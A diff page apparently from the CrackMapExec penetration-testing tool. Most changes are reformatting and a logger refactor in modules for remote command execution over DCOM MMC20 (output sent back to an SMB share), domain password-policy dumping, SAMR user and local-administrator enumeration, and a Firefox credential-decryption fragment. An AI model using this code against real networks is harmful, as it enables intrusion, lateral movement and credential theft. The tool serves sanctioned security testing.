key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length)
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()

View File

@ -60,9 +60,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class MMCEXEC:
def __init__(
self, host, share_name, username, password, domain, smbconnection, hashes=None
):
def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None):
self.__host = host
self.__username = username
self.__password = password
@ -92,9 +90,7 @@ class MMCEXEC:
oxidResolver=True,
)
try:
iInterface = dcom.CoCreateInstanceEx(
string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch
)
iInterface = dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(("Document",))
@ -104,28 +100,14 @@ class MMCEXEC:
dispParams["rgdispidNamedArgs"] = NULL
dispParams["cArgs"] = 0
dispParams["cNamedArgs"] = 0
resp = iMMC.Invoke(
resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []
)
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iDocument = IDispatch(
self.getInterface(
iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"]
)
)
iDocument = IDispatch(self.getInterface(iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"]))
resp = iDocument.GetIDsOfNames(("ActiveView",))
resp = iDocument.Invoke(
resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []
)
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(
self.getInterface(
iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"]
)
)
pExecuteShellCommand = iActiveView.GetIDsOfNames(("ExecuteShellCommand",))[
0
]
iActiveView = IDispatch(self.getInterface(iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"]))
pExecuteShellCommand = iActiveView.GetIDsOfNames(("ExecuteShellCommand",))[0]
pQuit = iMMC.GetIDsOfNames(("Quit",))[0]
@ -177,9 +159,7 @@ class MMCEXEC:
dispParams["cArgs"] = 0
dispParams["cNamedArgs"] = 0
self.__quit[0].Invoke(
self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []
)
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
return True
def execute_remote(self, data):
@ -188,11 +168,7 @@ class MMCEXEC:
command = "/Q /c " + data
if self.__retOutput is True:
command += (
" 1> "
+ f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}"
+ " 2>&1"
)
command += " 1> " + f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}" + " 2>&1"
dispParams = DISPPARAMS(None, False)
dispParams["rgdispidNamedArgs"] = NULL
@ -226,9 +202,7 @@ class MMCEXEC:
dispParams["rgvarg"].append(arg1)
dispParams["rgvarg"].append(arg0)
self.__executeShellCommand[0].Invoke(
self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []
)
self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
self.get_output_fileless()
def output_callback(self, data):
@ -240,9 +214,7 @@ class MMCEXEC:
while True:
try:
with open(
path_join("/tmp", "cme_hosted", self.__output), "r"
) as output:
with open(path_join("/tmp", "cme_hosted", self.__output), "r") as output:
self.output_callback(output.read())
break
except IOError:

View File

@ -71,12 +71,8 @@ class PassPolDump:
}
def __init__(self, connection):
self.logger = cme_logger
self.addr = (
connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain
)
self.logger = connection.logger
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
@ -176,9 +172,7 @@ class PassPolDump:
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation,
)
self.__min_pass_len = re["Buffer"]["Password"]["MinPasswordLength"] or "None"
self.__pass_hist_len = (
re["Buffer"]["Password"]["PasswordHistoryLength"] or "None"
)
self.__pass_hist_len = re["Buffer"]["Password"]["PasswordHistoryLength"] or "None"
self.__max_pass_age = convert(
int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]),
int(re["Buffer"]["Password"]["MaxPasswordAge"]["HighPart"]),
@ -194,12 +188,8 @@ class PassPolDump:
domainHandle=domainHandle,
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation,
)
self.__rst_accnt_lock_counter = convert(
0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True
)
self.__lock_accnt_dur = convert(
0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True
)
self.__rst_accnt_lock_counter = convert(0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True)
self.__lock_accnt_dur = convert(0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True)
self.__accnt_lock_thres = re["Buffer"]["Lockout"]["LockoutThreshold"] or "None"
re = samr.hSamrQueryInformationDomain2(
@ -240,26 +230,20 @@ class PassPolDump:
for domain in self.__domains:
cme_logger.debug(f"{domain['Name']}")
self.logger.success(
f"Dumping password info for domain: {self.__domains[0]['Name']}"
)
self.logger.success(f"Dumping password info for domain: {self.__domains[0]['Name']}")
self.logger.highlight(f"Minimum password length: {self.__min_pass_len}")
self.logger.highlight(f"Password history length: {self.__pass_hist_len}")
self.logger.highlight(f"Maximum password age: {self.__max_pass_age}")
self.logger.highlight("")
self.logger.highlight(
f"Password Complexity Flags: {self.__pass_prop or 'None'}"
)
self.logger.highlight(f"Password Complexity Flags: {self.__pass_prop or 'None'}")
for i, a in enumerate(self.__pass_prop):
self.logger.highlight(f"\t{PASSCOMPLEX[i]} {str(a)}")
self.logger.highlight("")
self.logger.highlight(f"Minimum password age: {self.__min_pass_age}")
self.logger.highlight(
f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}"
)
self.logger.highlight(f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}")
self.logger.highlight(f"Locked Account Duration: {self.__lock_accnt_dur}")
self.logger.highlight(f"Account Lockout Threshold: {self.__accnt_lock_thres}")
self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}")

View File

@ -20,9 +20,7 @@ class RemoteFile:
self.__currentOffset = 0
def open(self):
self.__fid = self.__smbConnection.openFile(
self.__tid, self.__fileName, desiredAccess=self.__access
)
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=self.__access)
def seek(self, offset, whence):
# Implement whence, for now it's always from the beginning of the file
@ -31,9 +29,7 @@ class RemoteFile:
def read(self, bytesToRead):
if bytesToRead > 0:
data = self.__smbConnection.readFile(
self.__tid, self.__fid, self.__currentOffset, bytesToRead
)
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
self.__currentOffset += len(data)
return data
return ""

View File

@ -16,12 +16,8 @@ from cme.logger import cme_logger
class SamrFunc:
def __init__(self, connection):
self.logger = cme_logger
self.addr = (
connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain
)
self.logger = connection.logger
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
@ -54,6 +50,7 @@ class SamrFunc:
remote_name=self.addr,
remote_host=self.addr,
kerberos=self.doKerberos,
logger=self.logger
)
def get_builtin_groups(self):
@ -90,14 +87,10 @@ class SamrFunc:
def get_local_administrators(self):
self.get_builtin_groups()
if "Administrators" in self.groups:
self.logger.success(
f"Found Local Administrators group: RID {self.groups['Administrators']}"
)
self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}")
domain_handle = self.samr_query.get_domain_handle("Builtin")
self.logger.debug(f"Querying group members")
member_sids = self.samr_query.get_alias_members(
domain_handle, self.groups["Administrators"]
)
member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"])
member_names = self.lsa_query.lookup_sids(member_sids)
for sid, name in zip(member_sids, member_names):
@ -181,12 +174,8 @@ class SAMRQuery:
return domain_names
def get_domain_handle(self, domain_name):
resp = samr.hSamrLookupDomainInSamServer(
self.dce, self.server_handle, domain_name
)
resp = samr.hSamrOpenDomain(
self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"]
)
resp = samr.hSamrLookupDomainInSamServer(self.dce, self.server_handle, domain_name)
resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"])
return resp["DomainHandle"]
def get_domain_aliases(self, domain_handle):
@ -197,9 +186,7 @@ class SAMRQuery:
return aliases
def get_alias_handle(self, domain_handle, alias_id):
resp = samr.hSamrOpenAlias(
self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id
)
resp = samr.hSamrOpenAlias(self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id)
return resp["AliasHandle"]
def get_alias_members(self, domain_handle, alias_id):
@ -221,6 +208,7 @@ class LSAQuery:
remote_name="",
remote_host="",
kerberos=None,
logger=None
):
self.__username = username
self.__password = password
@ -234,7 +222,7 @@ class LSAQuery:
self.__kerberos = kerberos
self.dce = self.get_dce()
self.policy_handle = self.get_policy_handle()
self.logger = cme_logger
self.logger = logger
def get_transport(self):
string_binding = f"ncacn_np:{self.__remote_name}[\\pipe\\lsarpc]"
@ -269,15 +257,11 @@ class LSAQuery:
return dce
def get_policy_handle(self):
resp = lsad.hLsarOpenPolicy2(
self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
)
resp = lsad.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
return resp["PolicyHandle"]
def lookup_sids(self, sids):
resp = lsat.hLsarLookupSids(
self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
)
resp = lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
names = []
for translated_names in resp["TranslatedNames"]["Names"]:
names.append(translated_names["Name"])

View File

@ -7,8 +7,6 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
from impacket.nt_errors import STATUS_MORE_ENTRIES
from cme.logger import cme_logger
class UserSamrDump:
KNOWN_PROTOCOLS = {
@ -17,12 +15,8 @@ class UserSamrDump:
}
def __init__(self, connection):
self.logger = cme_logger
self.addr = (
connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain
)
self.logger = connection.logger
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
@ -116,9 +110,7 @@ class UserSamrDump:
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(
dce, domainHandle, enumerationContext=enumerationContext
)
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext)
except DCERPCException as e:
if str(e).find("STATUS_MORE_ENTRIES") < 0:
self.logger.fail("Error enumerating domain user(s)")
@ -126,20 +118,14 @@ class UserSamrDump:
resp = e.get_packet()
self.logger.success("Enumerated domain user(s)")
for user in resp["Buffer"]["Buffer"]:
r = samr.hSamrOpenUser(
dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"]
)
info = samr.hSamrQueryInformationUser2(
dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation
)
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)
(username, uid, info_user) = (
user["Name"],
user["RelativeId"],
info["Buffer"]["All"],
)
self.logger.highlight(
f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}"
)
self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}")
self.users.append(user["Name"])
samr.hSamrCloseHandle(dce, r["UserHandle"])

Some files were not shown because too many files have changed in this diff Show More